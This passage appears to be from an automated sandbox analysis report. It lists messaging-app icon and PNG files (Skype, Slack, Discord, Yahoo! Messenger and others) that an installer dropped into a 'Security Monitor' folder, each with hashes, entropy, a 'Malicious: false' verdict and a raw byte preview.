SSDEEP:	6:6v/lhPkR/C+aWg7NSRAkPY+kW37wjNaI79UL00H3zSiw2p:6v/78/2VRZbW37wV9UL00N
MD5:	E472E7B1F2BF2829B8625C32CB02B0A8
SHA1:	49275242752EEC7DFB1ED14A2968F02439EAE54D
SHA-256:	FA0F63928ABF3B36BE9D310A257CABD413B7E7B7D7D92A0975C7FAA7CB2F370E
SHA-512:	02E865BF6802EF4B3851E87A3E0C984395D5A90FFD7C6282F858E8ED2A74769BD968C637ABCC710BE3290CD0D947FBC5620FBA3510CB3ABB29991278F20C44B8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.paint.net 4.0.134.[z....IDAT8O....P...J...@ ... ....Hv.@v.D%........`....M^.=Mh8.4.{i.6....8...m.c@.....a..q...l...'..c...R.Aas.qJg1.......;1.....~.....b.....{u.dt...^.....`..:72..Ru'..2..4_......].....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\qip.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.614804652904851
Encrypted:	false
SSDEEP:	24:Biiii8ibi0TiSDiiuYxId1diiiiSiiiwKrkIzpJi4arAJbJbJbJbJDg:Biiii8ibiaiSDiiTxIfdiiiiSiiiwKr2
MD5:	92E919F7716BFEC2191169F9D1513737
SHA1:	E7BEB2821E116084C0A516D754A0C7A534956BD6
SHA-256:	C5CB556AFCF8E5F48AA604646FFE93AEDE2607342C4AA93D70791ED8C4FFFE4B
SHA-512:	574F731D0220B353AEAC4B442E6ADED51CE54A7BE93BF3EFC3A7EB8F15161FAA3A1806C859C585ACCC351195AA0376608A5ED5B126DD552296D2305367008014
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.............................\|\|\|.\|\|\|.\|\|\|.........................\|\|\|.\|\|\|.\|\|\|.................\|\|\|.....\|\|\|.......=...$..Y...Q......\|\|\|.....\|\|\|.........\|\|\|.\|\|\|.\|\|\|.....\|\|\|.......T...7..n ..`%.....\|\|\|.....\|\|\|.\|\|\|.\|\|\|.\|\|\|.............\|\|\|...../.n...J...(..g'.....\|\|\|.............\|\|\|.\|\|\|.....\|\|\|.....\|\|\|..........a...,..u(.....\|\|\|.....\|\|\|.....\|\|\|.\|\|\|.............\|\|\|.....{....Z...3..z*.....\|\|\|.............\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.........................\|\|\|.\|\|\|.\|\|\|.\|\|\|.\|\|\|.................\|\|\|.....'.U...A..t3..o:.....\|\|\|.................................\|\|\|.......Y...7..q...\".....\|\|\|.................................\|\|\|.....{....\...-..r&.....\|\|\|.................................\|\|\|.....o.~...^.-.C.=.>.....\|\|\|.................................\|\|\|.........................\|\|\|.....................................\|\|\|.....\|\|\|.}}}.\|\|\|.\|\|\|.........................................\|\|\|.....\|\|\|...........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\qip.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	488
Entropy (8bit):	7.3920224953533245
Encrypted:	false
SSDEEP:	12:6v/7drHlKbwPKM5RMujiE9hN+clw+798b7w6sJ:orHkbwSwMujiE1+V+JukJ
MD5:	694A53E27D606EC219A2701C6DD6926C
SHA1:	E2EF3DA049160DB18AC5AC2D770B3F05F219722A
SHA-256:	0AD6EB5F37D593E9096640D5C0440D108BE85DCBB0C726CB5E0C8802E1B3421B
SHA-512:	B246D42344E90922EFCCFAB836BADC30DBA8E370BEE29E03524B0310FCDC9FEB727BEF32EDB695DD42B72FC99543520B91D8179A83ECC479C709DB9077861216
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..K.a....[J..............D.4...I...Q8.iT.......D$-EC.%G.IP....R+.....4.{....s<......-....!.#H=..p........r....!...z=l6....o.8..$.T}...........N'...\....e.3...C8.n..3..R..-y.....j0cX.x.o...4...#!>!u...X..".....V+.!..<#{E.R.aj....J...,,....O.N..8O.C"... ..6R.l6.7B.....9..%.{.b.L..C.ET..v.=....P..x'.....V.s.V...A<w...9...\....T..E...\|...d;`....,G..O..#i..PD6.....5....n....4..<2.4......`.../S..u.>..;._........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\skype.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.042561065627236
Encrypted:	false
SSDEEP:	12:Fw3//////oXgAo////////go/P/wK/////YTQRY9K///pLKe//v7WVh5y//ze2JW:7BQC9BDRClcc3TIVBw0CC/6upx8y/V
MD5:	58BB5428EE336A048C0EAEDD11B08CBE
SHA1:	E40B41DCE19B4CEE84943905ACC31F0B624A22DC
SHA-256:	619AB6CC1EB6D48676BA555BFEC94798B8E043052967FAD42356E9D8BFCD08D9
SHA-512:	1424FE21796F05B1BB963F857BE61BD805775BC5F56B1A5ADBA8372057AEAFE01ED559EE9F29212BB74D9A1BF90F4F44DCC27AE09D1A02A674094BF8D7FA2045
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................................................................................................../............../......................................................./.............._.............................................._................/...........................................................................................O...........`...P...........o...........................0...... .........O...................0...................."...a..............p......................................................................./....+..1...q..............X..1..1..1..1..(............(...H...H.............H...H..........j...H................Z...`...`...j...........................s...M................p...w...w...w.........................`......`.............P...............\|.........s...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\skype.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	563
Entropy (8bit):	7.517174524579319
Encrypted:	false
SSDEEP:	12:6v/7w//AIiO/vrFWdRdGBvXRwnHbMwigmsA7F9fS6ofSZHRQX+K:FB/vrEDdGh0ig8zKzSFk+K
MD5:	DB972EE37A5D0AEF2AEA2FE741B82C1D
SHA1:	C286B9CFEDA3CB6D3E19E1D7747790C52D84D377
SHA-256:	6A09E141A38F22AF46750BA3186AB260B0C566DDCA209B083623D8305BDF14A2
SHA-512:	9F35E67F88A4A250F8F983C8273DFD76F07A8CEEFBF54BA97D73FD1AB4C62508D8999AACD204E73CD04B86A0556AF895CA4BC07A722FB3D6143B7B07FF20BFF6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx...O.A...v...aU<..b.@.F8y!..;.J ..{.w)^ML..../-..0!....GBS.=...v.......v...If.....;.......}.9...k......Q[...YV.........y\|.I\....QUb.....^ HN.....F.y...0r#.d...+.>.`.".....\|....:b..sB.xq..~..]$(U.G....M.;?]\|.....0..I.$\|..7.xz.@....R-......../.....,7C.%.<.".....0N.\|. ........[UU]....0....=.f.2........G...C..p.. ....h...(...r...dR.I.]..h{.d...z~......s_.(U\|..(<J ._.<.+.#,.su3.^.Q&.....ir.j.V....E}...C>.o.m...A..;......E..C./..J...!..I.*....8ij...W._.@;..[.....O.......-V.xD8.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\slack.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.568471936906983
Encrypted:	false
SSDEEP:	24:EsvbDZdGE4mTfyxt6fSgSgd7+WmhOXYvTTT5:jH8mm6KXkSW1OTTT5
MD5:	60EEE3F506D7E7F1A87845F441D2FB09
SHA1:	E3D9A990606A52FB057237EB1F1435605CDDF360
SHA-256:	E4C99A376C5625C022A1CEE0422382E58516350B5602779286131579DDBFD108
SHA-512:	54CE729C0033D0E3C5ABF33D0F67BC5E9032A4374CC274E978F1129AE44276D6AE58B83DCE6CCFE72CA3681B3F3BEB6FDB0928843D6246180AACF50A2BDED936
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................KKK)...i...........iKKK)................................\\\/..............................\\\/....................\|\|\|J........................................~~~I............\\\/................Z....s..w.......................\\\/........................r..Z...._..~...\..........................QQQ).................r..Z...._..............................QQQ)...i........Z....U...{..Z....g..{..............................i............n...y.......q..........n...g...g...y..............................p...p...x.....................}...............i.........6...6...6...6......p.}........\.}.............hQQQ)..........................g.}.....................QQQ).........................h......h.}.............................^^^..................6......y.}..................eee+...............H.......................................H....................^^^..........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\slack.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	842
Entropy (8bit):	7.696472050125109
Encrypted:	false
SSDEEP:	12:6v/7MV8c2Qwrnehd6jw2pCreHWZJl2TKpwsC/eYvbojK1YOfjypI2Sc6jisxYw3Y:ycajeH61peeHauKVOFvbp7gb65Xm1
MD5:	27858239558F8642F02A7770829F8325
SHA1:	13BA5FC4427044C1343D62F4F9D552C6C62B18B6
SHA-256:	C470C09448A1BFBDD59F53A6E4C563E9584FF8CA083895A4887ABBAA39EDB823
SHA-512:	4E0A4AC0E33EA15BC546D56D552A3C1A8995DF8D319418D6E6CA066FC25CA8EB9E9A77F1373D4A7236BE1F5B0FE0DFEE9D62F3F559CFE3C0B2311FC0C830EA45
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.mSkHSa.~..9..Q.$.NQ1.2... Z.)+.H.4..K.R.......`..y..BfXV:..vQ,.()4..l.R......:.cf..9..{..y..y..\|....B....E"Q.{a4....wuu.0G.g1...T.WUU....f..Az..\.Z........u.'.QQQq....A ...q.0`.......A.W$.;.?R...fP.T..~...`........ ..M..x8kG.?.......' ',.c......dF.g..{zzZ#.H.[r'.P.XG....L......AGq+J.n.i.%444.`.....1nq.......+...\.....MS.@........\|.><.....DOOO^bbb.+......u...0..../..>....&~..@......G......-].]h`.^vl.,d.....p...1(.O.M?........M.`ll......).X\..^'._!\|...\.....x...?.........GGG....yIIIu..X....X$.....@.....%8..F.,.).....:7...q.m...-..).-..v.Ap...\.mx.M......7.P(..5.t.zf.......R......i.....^~.n....5222.3..T[[....=[./`..0=....6~..?,.<I&X......X.n+...%...hX+..V..>...2C.c.4..(...s.Z.....s[y..Q"-))).........'L..3....i[.e2YHVVV.g.....i...q....N...W....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\trillian.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.304963365030796
Encrypted:	false
SSDEEP:	24:cKwiwjHRFNgmsPn71386ICxQo0hkNNNNN9:cMwjxFpi386Yo0ib
MD5:	19A1D5E299A9AEEF8E449AE555935968
SHA1:	E7C1EA89DE88FEE6B616ABBE5365C5AA3E42F672
SHA-256:	27CC231887F86DDB6FF938C1FBBC2CE319057BF90382B764AF86ED3F9C47CCB8
SHA-512:	973CCD95A012657F00B195AF3558E5E67B2AD194F9261EC3E8FD9FFC4F423E10A730E4D0ABFC4243F91FAD35097BE09D1DD0D1646CFCF1821F1928E23015CB8E
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...............................................................u...................U...................................@'''.....................[[[....U...........................5kkk.............................OOO.........................))).................J4..:)..@@@........................................qqq.SV..w.,...+.....oN...............................*..............\|./...<...@.mL...........................@...j....bbb.0!........N........s0.....aaa%...........U....[[[.........KKK..m...B.....u.....aaa%............zzz......................................_...............U................GGG.....\\\.PPP.............................OOO.........@@@.6C..h...}...>...........................................J4....+.{.....,.............................................HHH.l...-...I...~..D.................................333.........lL.............f.KKK0............................... ggg..........t......T.aaaJ..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\trillian.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	675
Entropy (8bit):	7.483904311870301
Encrypted:	false
SSDEEP:	12:6v/7doMHmeia+juikJeSnm7XW6rJ5XUkABLVsHAVSjneDkMC1:Ao9La+juxnm55uLPs1
MD5:	BD04877B6C91557B84463719664B0292
SHA1:	6B5783097D914F8A463363843B8D24C6C933DDFE
SHA-256:	B2FE786345D8E1802BAA576C0E359240EA2811BCAB1BADB433743792BB9FAA77
SHA-512:	715C6079A00306A46E221C432336B1A4AD23DA6D8AB6BDE7D9F992DF162AAA04D9332D3BAF84DBD6CBA0D4160DE4DE773F266F556CBBEAA015A5D54DC078D33E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...jIDATx.cd... 6.bQ(.+....o...#.+....gee..\|...o...R.l;....{qg.....5...k.......Qy.)....r..8...4.c..=.Wo.u...8...........tb.J....s..^..S~..c...\..XPQQ.H......>..b......._V.+g..:.N]...........O....._`X.>.........o..&.".^....5..C.M........8y...3f..s..../_...a..>.@Q.PUU....-...6,.>...(.AJJj!..0.,,....!...+ &&&.......xT.S...Z:HC...O.>../,X. .....l.%(...........m..F.W..N....:..SV>X...:q.DGF..@k.].XYYy..Cf..7.J(...e.``...p`.........~...../.....t..O.}P.W.....q....}...;h.....e........A..v.......L....~.. .&0s...{...i...fggO-,,.......={..$......333..3......Kkjj.@...~..kWW..K.N d.8<....;0...[.x5..\.'.i......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\windows live messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.984582163595734
Encrypted:	false
SSDEEP:	24:ltjzPCZMaBUC2R0pwXqeCvJX/JutpSu39Gl/GofW9y88rk:ltj05gBXqeCJ/8pSx/Gp9y88w
MD5:	4EAA9A0B583BB8C8A369753DBD0DD0EB
SHA1:	2D8F80DF55ADB806651E9B90C32C287825EFA9B6
SHA-256:	EABEFD31E31D5141F75E760FCF96F14844F0824BD20C3FAD28C6E7C6AF4342FB
SHA-512:	B4B5CE8697B0B195F5DFF361B7822207CBC8BB07A3318154A4652A663F9715958770B55ED9D8B0F5EE37AC5BCDD19C4D2389E7D644187B86762565ED27613D8D
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................................................................................................................t4..z9..z9..z9..t5.....................!.9.&.=.!.9.!.9..v4..q3..z9..H..E...D..z9..q3..q3........OG.X.=.O.-.C.`.v.`.v..x8..W..z9...M.f...5...+...%...+.../...?...I.[.\.s.8.O.[.o.[.o...D.....G...J...X...a...X...O...K...V...U...=...`.t.?.d.S...J...S...a...o...a...J...E.....y..d...B.....J...O...Q...Z...f...s...i...W...N........j............K...../...J...X...[...X...L...b....z.................z..Pi........R.eHc.w.m..s...........V....................U..U.............R.eoQ.d.O.b.M.`.L.^.g.Zl.W..W..W..W..W..W.....................:.JW9.J.9.I.9.I`.....q3$.z<.r3..{=.t5$........................:.K.......9.I......{=..\|......X..\|>.........................;.K......:.J......s4.........\|..v6.........................;.LE;.L.:.K.:.KN......@........t...A..............................................~?!..E..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\windows live messenger.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	763
Entropy (8bit):	7.6950381846314215
Encrypted:	false
SSDEEP:	12:6v/71dxGeeaA/as1IpxNhX3HqPPwVS2TgW41SeJq5RXB4f4a:oqeeaAT1IpxNhKXNW5VBO4a
MD5:	F38AF891CBBDCD155644E65363A01520
SHA1:	BA161945A3E87EA2B3735165854E8AEF28B4F201
SHA-256:	DEF30878F80E5B00CE9F334170DD6369127C52E03959F5673B7193D8B21EE80D
SHA-512:	AFB7BD4EECEF8B2E9E082E3A7203DC393E92683B4AD2B301072A4BC8C22D710AF740BC553EE92997C714FD80F993A3BE0257EC09FF46C75AEEC3EB615553613C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..iHTQ...o..of..mT,M.@..Q).R"A.......Yb~0+..,../.}.>....X...J..DV..6.3..t.w{c$A.A....=.w.{....j'.....4-.K$T...W.w$...3m.H........ZT._.t6$..4.....\Z.....#.Z.....V.Og.....Z.oxm._..F..:.;,..0..1.Y.i..^....;qs..}..F..m.6].....JH..W.1.......D.....Rn..!O..T,%..z.........{(........,._.....&....#...........9">..#N..?....l.D.dO..&.....4....0..V}$b"u...ly..0....].F....S........b.....U......P.....@&.B....0.A.\~}A....I!..Eg..0.Z...M^........O.2.Z_.4.Jpv..6C...D.td.....94Db..E..7..,.J...J-..2..,..8T....p.#C.k..SU.y..g[..~a^.q.=.C6k....w.IT+4../...eY..p.P..En.....rY... "j.... .^..l......:.p}PS6P........o...fdD..8.S.&..(Z...A...uqD...f.Y.i2.{?s...}.fMNK..u.].z3.....'....K.R....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\yahoo! messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.275771912287761
Encrypted:	false
SSDEEP:	24:INtkHVr7SidRa/Obkfbw8H1y3LIseAevOGZ0bTsB:LVPS0a2AfjeIEeBZ0bTsB
MD5:	6A4FEA20675B423DC5B6AFC565BA2D57
SHA1:	D241A8C16A86789F1B28EAA58B164AE6C9457FC1
SHA-256:	73EC225A303B4A44537CBBCFEB5FC07BB8EEB9FDFE0FACA788309CC7C75F3F74
SHA-512:	2948886496B704F85A71549341A1D8E5DE36375CCC6FF79B0F95BB6FC755147DE35C6F556E02CFF916B5967F95891E1586F065DC329A68E057093032B485A4A0
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................................K.}.s......(...)........w...H.....!... .................W.#.n..&...<...M...i...k...[...C...+....q...K./.............W.#.u.....A...>...'......5~..&...;...G...2....x...V.,.........l.."...>...'...!T..-(..BA..MN..>=..)4..%...D...+....r.......[.j..../...5....J.."...("..63..=;..40..' ..!)../...8........p..p..$...8...+~....f.....$...)"..,&..(!..$........K..:.......v...}......>... F....4...d.......................\..+`.9...3........~..3...C...Ni......................................7...8........~..2...E...?d..z...............................f...9...9........}..0...L...Y...]...]...`...c...c...`...\...]...Y...N...8........r..1...U...\..._...v....xs.....}..........._...^...W...8....y...b.u....R...W...f........LA..........LA.....g...Z...V... ....w......r.....^...m...........................p...a.../....z..'........W.#.w..-...x...........................\|...1....z.....M.............W.#.s..&...k...................o.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\yahoo! messenger.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	921
Entropy (8bit):	7.692568178991757
Encrypted:	false
SSDEEP:	12:6v/7MIPvdQrswMHeAQQI/hnoG82ukRW61fAKmg0sLyVFIMVwIaJ2OnksgHDPkInc:MersR+SIZbnu+FXaYyVBtM2Oksgjlzv4
MD5:	A319CAB2BDD2363F2CE6F71874255367
SHA1:	606F86B9B032C74B9A88240A9A4933B4EA256C52
SHA-256:	0644CF298FE403904496AF78ADDCCDB46C1D3A324BC996A1423F9CC581EBFA39
SHA-512:	D74BB956EF9011436A44617B8DB7519F8335A10F55805BEC4CDB673F971E148614B9A4068146D182BB6024B5774C85CB35A4B10BEC5307F2C367179DEB45E07E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...`IDATx.].Mh.e..w.....Mf..k...BK..B+I..A.%...z(V..b.S...E.=..J...DR.R.P#..d..I..Iv...$......uczp..wx....K.o....;...8$.;Ax...).J..X..;.;...Ru/....<.J.b...`X9x.B.m@I..a-~...Q..p..V...[.....}.h_T.z.........m...6.b......-;..................#pD/........n9.g.....s...F9}..?..</......P..+o.Q.I`f/.^Ma./..\#..N.!..(c....R.S....=.....xX....L.S......}...X._~..8u\....&....p.......w.J..g............1..M...d...x6.......~..yr......[q.......^...@9.efr...:.J....8.O!...X...Y.}.........U."..sbYTm....6.O.5.....[.-.YBK_....W./..x....NVJ..g..e.c..a...../$..&.. sC.t./....].w.na.....4^..S.-..f..Mp....../......;.G.~.+...#..,..<....c.i...E,K&..4D{$.fVaL.\n.....l.WO....,.wL..W$...l.. ..!....c...T.?_e.]...Fd.....h.d..&...m.].4t.u#...^0..y.J....e...Rn..... ...1....U......Av\|}s\|...{#....1..T&......V]J.a..<f..\|..~.b...?U/...e.g..<wM.5.}.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Discord.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.636162501782274
Encrypted:	false
SSDEEP:	96:L9Ma1/Da+8+n63MJPD7wVGuTsJsr1sZbol4zQvH:ZN17a+8+jlmsJsxll
MD5:	0673E359F24B2E3E70DEF71FD99DCA08
SHA1:	9CCFDF61774455EFA4F203A295B7CD73970381F1
SHA-256:	9B2E88181222D914DF957836D7DDD48F1400CEF417C2AAF4705F399F07E4F872
SHA-512:	C6178BDBCCCE71F4F92FEF31E8D5FADA4098CD5A2CF9A9593EE5A9E81CC9B878820731EE32874EF912FE816050B7A7F3DC280A2381B2BF41DEC8332BDBC98F9C
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................[I.....F#...L<P................................................................................................^L..........\H..hQ.......t.................................................................................................nF9..........]I..oV..hQ.......w.........................j?6E.YKs.YJu.YJu.XJu.XJu.WIu.XIu.UGu.REu.SEu.REu.SDu.SDu.SDu.RCt.RBy.VF\.........aM..qY..oV..iR.......x......................iX..}h..j...j...j...i..~i..~h..}g..wd..vc..vb..vb..wb..wa..wa..w`..v_..v`......fQ..t[..qY..pX..jT.......z..........}......fV_.m..m..l..l..l..k..k...j..we..vd..vd..wd..wc..wb..wb..wb..wa..xb..\Ms.gS..v^..r[..rZ..qY..kU.......\|.................{h..o..n..n..n..m..m..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Facebook Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.066773618954921
Encrypted:	false
SSDEEP:	48:Ph9MjBRXLI4PPPPPPP5PPPlPPPPPvsuzWNQ:PhIl6u
MD5:	2F777CE0EAAF668E63BACB213F805C72
SHA1:	1200A1ACD3E1E8909738870ECA24FD3DB5E4EF4E
SHA-256:	F29CE4EA22FB3C298B8B98E2600D85F76C00C81502332BDC21B6B6D4BFFFA8D1
SHA-512:	5A9E8A41FC543E5AC83C1020CF503C5239D68A68228E18441FD58C560E3D19661F8B54702483984DF378B500DA09D144CD250ABB2A29742066B46E3FC9BC6F68
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................m.*.k...k...l.a.m...............................................................................................................m.u.m...m...m...m...l...m.u.m...l...m...m...m...m...m...n...m.p.q.".............................................................p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...q.?.....................................................q...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...q...o.'.............................................t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...s.P.....................................u.z.v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v.w.............................y.i.y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...x.f.....................{.6.{...{...{...{...{...{...{...{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Google Talk.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.327550606417895
Encrypted:	false
SSDEEP:	48:7ok26VKvsyK8gww8d6IrU866xoQ6iekgM7F5F616mlunzNa:7hNqsyw8NxogekgS/01l2zQ
MD5:	B1B0BDF79925656C6612EB420EFDD0CB
SHA1:	67A7A212310C229BD3753F937FE769392719BA85
SHA-256:	02FDCF85764302068222786937E5769650543F7B19B06208B65CE325792E7282
SHA-512:	700EDB186443417B8B5C2FFF44AC0CA4F40492F08789A4C44818F8255E4C5082AB7388AFBEE9DBE86C3979D15FF92F6CF33ED787694470AF7B88B86BD180F01D
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ........................................................................................................................................................................................................................................................................................................................................!...!........................................................................................................141.........! !.!$!Z...1...1...)...!............................................................................................RQR9....101.Z]Z.........)()s...J...9...)...!........................................................................................BEBZ............sqs.....! !....Z...J...9...).......................................................................................)141.),).............),)........s...R...B...1...!...........................................................................!...1...J..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Line.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	2.904108079904619
Encrypted:	false
SSDEEP:	48:F+E7L9sciO2jASO/R9Zo6bVUZ0SS/UHL4/h3A4+Brwc2Ni:F+qcjZE7ZL6ZTS/Ur+398rwHw
MD5:	B4C726712268AACA5C8044B19D242C56
SHA1:	82295BE76E35F3B7A017C71DF4AFB7BCB13B8BD9
SHA-256:	67360906D5C412946E6621E6952DCC72E260B4BDA6B1097FB89D0968746B557A
SHA-512:	255E561C23605247FCA1BB3F071CE4E87DA9F580C93F9CB87980F2680C106FEF6B91E478953C667E55AC0B9C4891FB0D6389671AD5C1AEF0DD820ABC032A7F62
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...... .............................(...........................................................................................................*...............M...................................................................................................................U.......$...........................................................................................................................-............................................................................................................................................................................................v.v.1.1........................................................................................................................................................................................................................................................................J.J...........................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Mail Agent.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.015933025401917
Encrypted:	false
SSDEEP:	48:jlLTFwirlRR25mD7NHgf/nrqQ6kcwpgHBWgOXKpAsDn5DnO9eXVP:ZLTFwirlRRymnN0/rqpkcwaDOXZsxqYZ
MD5:	B5DECCE572BF993C4F6CD6BD108DF2C3
SHA1:	21C33E841AF7DE3AF8868EAFF54EDB1492AEBEA4
SHA-256:	42A521BC3EF75526B3A1839DA875A949B369C6A00F2EAA43C8BECBB3E8279555
SHA-512:	EEE0D7F592836DFCEB0D50E2695DF6ACF336211E3C83C9DF8B49325BD03E2B3E5BD39DC8CAE3193A32D953CAA79543F8D356930CC6C6769A861EDA8F31E04D6A
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................F.>.C.;.C.<.C.<.C.;.B.<wC.=.............U.@.B.<UD.<\|C.<.C.<.B.<.D.=.C.<nG.@$....................................................U.U.B.=.B.;.B.;.B.;.B.;.B.;.B.<.B.=hB.<.C.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.<.D.=mf.f.................................................C.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.C.<.C.=P................................................B.;.B.;.B.;.B.;.B.;.B.;.B.;.T.N..........................O.H.B.;.B.;.B.;.B.;.C.;.............................................C.?AB.;.B.;.B.;.B.;.[.U........................................B.;.B.;.B.;.B.;.B.;.C.;.........................................C.;EB.;.B.;.B.;..............................................B.;.B.;.B.;.B.;.B.;.B.;.C.;.................................F.F